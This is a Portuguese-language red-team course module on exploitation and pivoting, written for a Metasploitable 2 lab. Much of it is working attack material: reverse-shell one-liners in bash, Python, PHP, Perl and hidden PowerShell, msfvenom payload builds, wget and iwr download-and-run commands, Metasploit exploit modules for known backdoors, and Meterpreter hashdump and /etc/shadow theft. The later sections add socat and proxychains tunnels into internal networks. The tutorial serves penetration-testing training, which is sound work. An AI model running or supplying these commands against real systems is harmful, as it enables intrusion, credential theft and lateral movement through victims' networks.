MÓDULO 7 — Exploração (Exploitation) & Pivoting: Metasploit, MSFVenom e Movimentação Lateral
Team Hacking78
Especialistas em Red Teaming
Resumo Executivo (TL;DR)
Aprenda a converter vulnerabilidades confirmadas em acesso inicial (foothold) e expandir o alcance da invasão via pivoting. Domine Metasploit, payloads customizados com MSFVenom, reverse vs. bind shells, estabilização de terminais e túneis com socat, SSH e ProxyChains.

A exploração (Exploitation) é o ápice técnico onde uma vulnerabilidade confirmada na fase anterior (Módulo 6) é convertida em execução arbitrária de código no alvo, conquistando o ponto de apoio inicial (Initial Foothold). Contudo, em redes corporativas modernas, o servidor comprometido é apenas a porta de entrada. O verdadeiro impacto de um teste de intrusão ou exercício de Red Team reside no Pivoting — a capacidade de transformar a máquina dominada em um trampolim para rotear tráfego e alcançar redes internas anteriormente inacessíveis.
7.1 O que é Exploração e o Fluxo Mental Ofensivo
A exploração técnica consiste na união harmônica de três ingredientes essenciais:
[Exploit (Abusa da vulnerabilidade)]
+ [Payload (Código executado após o disparo: shell/meterpreter)]
+ [Alvo Vulnerável Configurado]
= Acesso Inicial (Initial Foothold)As Duas Vias de Exploração
- Metasploit Framework: Plataforma modular consagrada que integra exploits, payloads, encoders, listeners e módulos de pós-exploração automatizados. Ideal para ganho rápido de produtividade e controle de sessões.
- Exploração Manual: Utilização de scripts PoC adaptados em Python/C, utilitários de rede (
netcat,curl) e técnicas de injeção direta. Indispensável para compreender o funcionamento íntimo do bug e contornar ambientes onde não há módulos prontos.
Regra de Ouro da Carreira Ofensiva Inicie com o Metasploit para dominar o fluxo padronizado de trabalho; em seguida, reproduza a exploração manualmente para compreender a mecânica de sockets e memória. O exploit é uma ferramenta descartável; o entendimento técnico é o seu ativo definitivo.
7.2 Terminologia Crítica de Exploração
- Exploit: O código ou sequência de pacotes projetada para induzir um comportamento anômalo no software vulnerável.
- Payload: A carga útil entregue e executada após a exploração bem-sucedida (ex: comando simples, shell interativo ou Meterpreter).
- Meterpreter: O payload avançado in-memory do Metasploit que roda injetado na memória de processos, oferecendo comandos nativos sem gravar arquivos no disco.
- Listener (Handler): Processo que fica em escuta no host do auditor aguardando a conexão reversa enviada pelo alvo.
- LHOST / LPORT: O endereço IP e a porta local da sua máquina de ataque (onde o listener aguarda).
- RHOST / RPORT: O endereço IP e a porta remota do servidor-alvo a ser explorado.
- Staged Payload: Carga dividida em duas etapas. Envia um stub minúsculo (stager) que conecta ao listener e baixa o payload completo em memória.
- Stageless Payload: Carga completa e independente compilada em um único arquivo binário/script.
7.3 Reverse Shell vs. Bind Shell — A Decisão Arquitetural
A escolha entre um shell reverso ou bind define se o acesso contornará os firewalls da organização:
Reverse Shell (Padrão Profissional Mandatório)
Alvo Comprometido ──(Conexão de Saída TCP:4444)──> Host do Pentester (Kali)- Vantagem Vital: Conexões de dentro para fora (egress) raramente são bloqueadas por firewalls corporativos e atravessam gateways NAT sem necessidade de redirecionamento de portas no alvo.
- Exigência: O endereço IP do auditor (LHOST) deve ser roteável e acessível pelo alvo.
# No Kali (Listener aguardando):
nc -lvnp 4444
# No Alvo Linux (One-liners clássicos de conexão reversa):
nc -e /bin/sh 192.168.56.101 4444
bash -i >& /dev/tcp/192.168.56.101/4444 0>&1Bind Shell
Host do Pentester (Kali) ──(Conexão de Entrada TCP:4444)──> Alvo (Porta Aberta)- Mecânica: O payload abre uma porta de escuta local no próprio servidor-alvo e aguarda a conexão do auditor.
- Desvantagem Crítica: Falha imediatamente se o alvo estiver atrás de firewall de borda bloqueando conexões de entrada (ingress) ou em rede NAT.
# No Alvo (Abre a porta 4444 em escuta):
nc -lvnp 4444 -e /bin/sh
# No Kali (Conecta na porta do alvo):
nc -nv 192.168.56.10 4444Guia Rápido de One-Liners de Reverse Shell
# Bash (Nativo via /dev/tcp)
bash -i >& /dev/tcp/192.168.56.101/4444 0>&1
# Python 3 (Multiplexação via dup2)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$sock=fsockopen("192.168.56.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="192.168.56.101";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.56.101',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"7.4 MSFVenom — Geração de Payloads Sob Medida
O MSFVenom combina a geração de payloads e encoding em uma única ferramenta CLI de alta flexibilidade.
# Sintaxe geral do MSFVenom
msfvenom -p <payload> LHOST=<seu_ip> LPORT=<porta> -f <formato> -o <arquivo_saida>Exemplos Práticos por Plataforma
# Linux x86 (Binário ELF Stageless)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf -o shell.elf
# Linux x64 (Binário ELF Staged)
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f elf -o shell_staged.elf
# Windows x64 (Executável Meterpreter Reverso)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe -o shell.exe
# Aplicações Web (PHP / Python / JSP)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o shell.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o shell.py
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o shell.jspVetores de Entrega e Execução
# Servidor HTTP rápido no Kali para hospedar o binário:
python3 -m http.server 8080
# Download e execução no alvo Linux:
wget http://192.168.56.101:8080/shell.elf && chmod +x shell.elf && ./shell.elf
# Download e execução no alvo Windows via PowerShell:
iwr http://192.168.56.101:8080/shell.exe -OutFile C:WindowsTempshell.exe ; Start-Process C:WindowsTempshell.exe7.5 Metasploit Framework — O Fluxo Operacional Essencial
# Inicializar o console do framework
msfconsole -q
# Estrutura padrão de configuração:
use <caminho_do_modulo>
set RHOSTS <IP_do_alvo>
set LHOST <Seu_IP>
set LPORT 4444
show options
runCasos Práticos de Exploração no Metasploitable 2
Caso 1: Backdoor vsftpd 2.3.4 (CVE-2011-2523)
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.10
set LHOST 192.168.56.101
run
# Resultado: Shell root instantâneo no alvoCaso 2: RCE no Samba usermap_script (CVE-2007-2447)
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.10
set LHOST 192.168.56.101
run
# Resultado: Shell interativo direto como rootCaso 3: Backdoor no UnrealIRCd 3.2.8.1 (CVE-2010-2075)
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.10
set LHOST 192.168.56.101
runO Poder do Meterpreter em Pós-Exploração
O Meterpreter opera inteiramente na memória do sistema sem criar novos processos previsíveis:
getuid # Exibe o usuário corrente da sessão
sysinfo # Detalhes da arquitetura e kernel do SO
shell # Spawna um shell de comandos do SO nativo
getsystem # Tenta elevação automática para NT AUTHORITY\SYSTEM (Windows)
ps # Lista processos ativos no sistema
migrate <PID> # Injeta o Meterpreter em um processo estável (ex: explorer.exe)
download /etc/shadow . # Baixa arquivos sensíveis para a máquina de ataque
upload tool.exe /tmp/ # Transfere arquivos locais para o alvo
screenshot # Captura tela do desktop do usuário logado
hashdump # Extrai hashes SAM/NTLM de usuários Windows
background # Coloca a sessão ativa em segundo plano
sessions -l # Lista todas as sessões ativas
sessions -i <ID> # Retoma a interação com uma sessão específica7.6 Exploração Manual Passo a Passo (Sem Frameworks)
Para compreender a mecânica real do backdoor do vsftpd 2.3.4: a versão modificada monitorava o envio de um smiley :) no nome do usuário FTP e disparava a abertura de uma shell bind na porta TCP 6200 com privilégios de root.
# 1. Conectar manualmente no serviço FTP
nc -nv 192.168.56.10 21
# 2. Enviar a sequência gatilho do backdoor no campo USER
USER hacker:)
# 3. Enviar qualquer senha para processar a autenticação
PASS senhaqualquer
# 4. Conectar diretamente na porta 6200 aberta pelo gatilho
nc -nv 192.168.56.10 6200
# Resultado: Shell root disponível diretamente no terminal7.7 Estabilização e Upgrade de Shells Reversos
Conexões brutas via Netcat são instáveis: não possuem auto-complete com Tab, não gravam histórico com setas e são encerradas acidentalmente com Ctrl+C.
Técnica Padrão de Estabilização com Python PTY
# 1. Dentro da sessão crua do Netcat, invoque um pseudo-terminal Bash:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Defina a variável de terminal:
export TERM=xterm-256color
# 3. Envie a sessão para segundo plano pressionando Ctrl+Z
# 4. No seu terminal Kali local, desative o echo bruto e retome a sessão:
stty raw -echo; fg
# 5. Redesenhe o terminal:
resetEstabilização Total com Socat
# No Kali (Listener preparado):
socat file:`tty`,raw,echo=0 TCP-L:4444
# No Alvo Linux:
socat TCP:192.168.56.101:4444 EXEC:"bash -li",pty,stderr,sigint,setsid,sane7.8 PIVOTING: O Host Comprometido como Trampolim de Rede
O Pivoting consiste em utilizar a máquina comprometida (Pivô) como ponte para rotear tráfego ofensivo até redes corporativas internas inacessíveis diretamente pelo perímetro externo.
[Kali: 192.168.56.101]
│ (Rede Externa / Acessível)
▼
[Pivô Comprometido: 192.168.56.10 / 10.10.10.10]
│ (Rede Interna / Segmentada)
▼
[Alvo Interno: 10.10.10.5 (Banco de Dados / DC)]Passo 1: Enumeração de Interfaces e Vizinhos de Rede no Pivô
ip a # Identifica placas de rede e faixas de IP adicionais
ip route # Exibe a tabela de roteamento do servidor
arp -a # Lista hosts vizinhos conhecidos na rede interna
cat /proc/net/arp # Inspeciona cache ARP diretamente no kernelPasso 2: Port Forwarding Portável com Socat
Redireciona portas específicas da rede interna para uma porta pública no pivô:
# No Pivô Comprometido:
# Expõe o serviço web interno (10.10.10.5:80) na porta 8080 do pivô
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80
# No Kali:
curl http://192.168.56.10:8080 # Acessa diretamente a aplicação interna via pivôPasso 3: Roteamento Integrado no Metasploit & SOCKS Proxy
# 1. Adicionar uma rota para a sub-rede interna através da sessão Meterpreter ativa (ex: Sessão 1):
meterpreter > route add 10.10.10.0/24 1
meterpreter > route print
# 2. Criar um servidor de proxy SOCKS4a no Metasploit:
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 4a
run -j
# 3. Configurar o ProxyChains no Kali (/etc/proxychains4.conf):
# Inserir no final do arquivo: socks4 127.0.0.1 1080
# 4. Executar ferramentas externas tuneladas através da rede interna:
proxychains4 nmap -sT -Pn -p 22,80,445 10.10.10.5
proxychains4 curl http://10.10.10.5Passo 4: Port Forwarding Nativo no Meterpreter
# Encaminha a porta 80 do host interno 10.10.10.5 para a porta 8080 local do Kali:
meterpreter > portfwd add -L 127.0.0.1 -l 8080 -p 80 -r 10.10.10.5
# No Kali:
curl http://127.0.0.1:8080Regras de Ouro no Pivoting
- Sempre utilize `-Pn` no Nmap: Roteamento via SOCKS não suporta pacotes ICMP/Ping.
- Utilize TCP Connect (`-sT`): Proxies de aplicação não encapsulam pacotes SYN brutos (-sS).
- Controle de Timing (`-T2` ou `-T3`): Túneis adicionam latência; scans rápidos demais causam perda massiva de pacotes.
7.9 Laboratório Prático de Pivoting & Movimentação
# No host pivô (se for atuar como roteador de pacotes):
sudo sysctl -w net.ipv4.ip_forward=1- Etapa 1: Explore o pivô via Metasploit ou exploit manual.
- Etapa 2: Descubra a rede segmentada via
ip neighe tabela ARP. - Etapa 3: Adicione a rota no Metasploit (
route add 10.10.10.0/24 <sessao>). - Etapa 4: Varra o host interno usando
proxychains4 nmap -sT -Pn 10.10.10.5. - Etapa 5: Encaminhe o tráfego do serviço web com
portfwde acesse do Kali.
7.10 Checklist de Segurança Operacional (OpSec)
- [x] Registre todas as evidências com prints, comandos e hashes no diretório
~/pentest/evidencias/exploit/. - [x] Mantenha controle absoluto dos LHOST, LPORT e IDs de sessões abertas.
- [x] Nunca execute comandos destrutivos (
rm -rf, reboot não autorizado) no ambiente do cliente. - [x] Respeite estritamente as fronteiras do escopo aprovado no RoE.
- [x] Documente a cadeia de saltos de pivoting (Pivô → Túnel → Alvo Interno).
7.11 Checklist de Conclusão do Módulo 7
- [x] Compreendo a diferença operacional entre reverse shell e bind shell.
- [x] Sei gerar payloads em múltiplos formatos com MSFVenom e entregá-los via HTTP.
- [x] Opero o Metasploit com segurança (use, set, run, sessions, background).
- [x] Domino comandos avançados do Meterpreter (getuid, migrate, hashdump, portfwd).
- [x] Executo exploração manual passo a passo sem dependência de ferramentas automáticas.
- [x] Sei estabilizar reverse shells usando Python PTY e Socat.
- [x] Compreendo a arquitetura e os requisitos de redes para Pivoting.
- [x] Configuro roteamento de sessões e servidores SOCKS com ProxyChains.
- [x] Executo port forwarding local e remoto com Socat e Meterpreter.
- [x] Documento a cadeia completa de comprometimento para relatórios de Red Team.
Perguntas Frequentes (FAQ)
Por que o Reverse Shell é preferido em relação ao Bind Shell em auditorias reais?
O Reverse Shell faz com que o servidor-alvo inicie a conexão de dentro para fora em direção à máquina do auditor. Firewalls perimetrais e roteadores corporativos quase sempre bloqueiam conexões de entrada não autorizadas (inviabilizando o Bind Shell), mas frequentemente permitem tráfego de saída em portas comuns (como 443, 80 ou 4444). Além disso, o Reverse Shell atravessa facilmente ambientes com NAT sem necessidade de redirecionamento de portas no alvo.
O que é a migração de processos no Meterpreter (migrate) e qual sua importância?
A migração é a capacidade do Meterpreter de injetar seu código em outro processo em execução no sistema operacional (por exemplo, migrar de um payload temporário para o 'explorer.exe' ou 'svchost.exe'). Isso garante estabilidade caso o processo inicial seja fechado pelo usuário e dificulta a detecção por soluções de monitoramento de segurança.
Por que devemos usar a flag -sT (TCP Connect) e -Pn ao escanear através do ProxyChains?
O ProxyChains opera na camada de aplicação encaminhando conexões através de proxies SOCKS. Como o protocolo SOCKS não possui suporte nativo para pacotes brutos (Raw Packets) ou pacotes ICMP (Ping), os scans furtivos SYN (-sS) e a descoberta de hosts por ping falham. O parâmetro -sT instrui o Nmap a utilizar a chamada de sistema de conexão TCP completa e -Pn pula o teste de ping, garantindo que os pacotes atravessem o túnel SOCKS com sucesso.
Qual é a principal diferença prática entre payloads Staged e Stageless no MSFVenom?
Um payload Staged (indicado por barras adicionais como 'windows/x64/meterpreter/reverse_tcp') é dividido em partes: um stager minúsculo é enviado inicialmente para caber em buffers restritos de memória e, após executado, ele conecta ao listener para baixar o restante do payload. Já um payload Stageless (como 'windows/x64/meterpreter_reverse_tcp') contém todo o código compilado em um único bloco, sendo mais robusto em redes instáveis ou onde conexões secundárias são bloqueadas.
